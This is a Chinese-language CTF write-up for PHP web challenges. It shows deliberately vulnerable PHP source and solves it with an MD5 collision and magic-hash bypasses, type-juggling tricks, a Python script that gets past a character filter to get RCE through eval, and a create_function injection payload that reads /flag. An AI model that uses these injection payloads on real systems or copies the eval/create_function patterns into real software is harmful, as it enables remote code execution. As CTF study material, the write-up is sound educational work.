Misc
Web
1.RCE但是没有完全RCE
<?php error_reporting(0); highlight_file(__FILE__); include "level2.php"; if(isset($_GET['md5_1'] ) && isset($_GET['md5_2'])){ if((string)$_GET['md5_1']!==(string)$_GET['md5_2'] && md5($_GET['md5_1'])===md5($_GET['md5_2'])){ if(isset($_POST['md5_3']) && md5($_POST['md5_3'])==$_POST['md5_3']){ echo $level2; } else{ echo "2 Failed"; } } else{ echo "1 Failed"; } }
第一步md5绕过。。。第一层是撞md5相同值用fastcoll。
第二层是'0e'开头的md5,用给定的字符串。如md5(CbDLytmyGm2xQyaLNhWn)
POST和GET分别对应URL中参数和POST中data。
成功后来到第二层
<?php highlight_file(__FILE__); $shell = $_POST['shell']; $cmd = $_GET['cmd']; if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){ die("Hacker!!!!!!!!"); } eval($shell($cmd));
匹配了f,l,a,g,通配符,?
,可以用多余的参数将限制绕过。
mapp = { "f": "t", "l": "r", "a": "e", "g": "s", } payload = """echo `cat /flag`;""" cmd = "" for i in payload: if i in mapp: cmd += f"$_POST[{mapp[i]}]" else: cmd += i datasend = "shell=sprintf" for k in mapp.keys(): datasend += f"&{mapp[k]}={k}" import requests as r url = "http://localhost:9000/3z_RC3.php" res = r.post( f"{url}?cmd={cmd}", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=datasend, ) r = __import__("re").search(r"flag{.*}", res.text) print(r.group(0))
2.了解过PHP特性吗
<?php error_reporting(0); highlight_file(__FILE__); $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no!!"); } if (intval($num)) { echo 1; } if (isset($_POST['ctype']) && isset($_POST['is_num'])) { $ctype = strrev($_POST['ctype']); $is_num = strrev($_POST['is_num']); if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) { echo 2; } } $_114 = $_GET['114']; $_514 = $_POST['514']; if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) { if (!is_numeric($_514) && $_514 > 9999999) { echo 3; } } $arr4y = $_POST['arr4y']; if (is_array($arr4y)) { for ($i = 0; $i < count($arr4y); $i++) { if ($arr4y[$i] === "NSS") { die("no!"); } $arr4y[$i] = intval($arr4y[$i]); } if (array_search("NSS", $arr4y) === 0) { echo 4; } }
emm特性啥的...我妹学过php啊
搜出来了。。
1.preg_match绕过用数组传入绕过
2.同样的md5绕过..一个是数字一个是字符串is_num=240610708,ctype=QNKCDZO记得要反序一下(x
3.第一个科学计数法,第二个带字母的字符串114=1e9,514=99999999a
4.传入数组,NSS加上空格。
第二问
<?php error_reporting(0); highlight_file(__FILE__); $nss = $_POST['nss']; $shell = $_POST['shell']; if(isset($shell)&&isset($nss)){ $nss_shell = create_function($shell,$nss); }
create_function:类似lambda,但是没有调用,大概是这个样子:
function nss_shell($shell){ $nss }
构造如下payload可以溢出:
shell=(啥都可以)&nss=}cmd;/*
补全之后是这样:
function nss_shell($shell){ } cmd /* }
所以可以运行到cmd中的内容。
构造本题payload
shell=&nss=}echo `cat /flag`;/*
即可。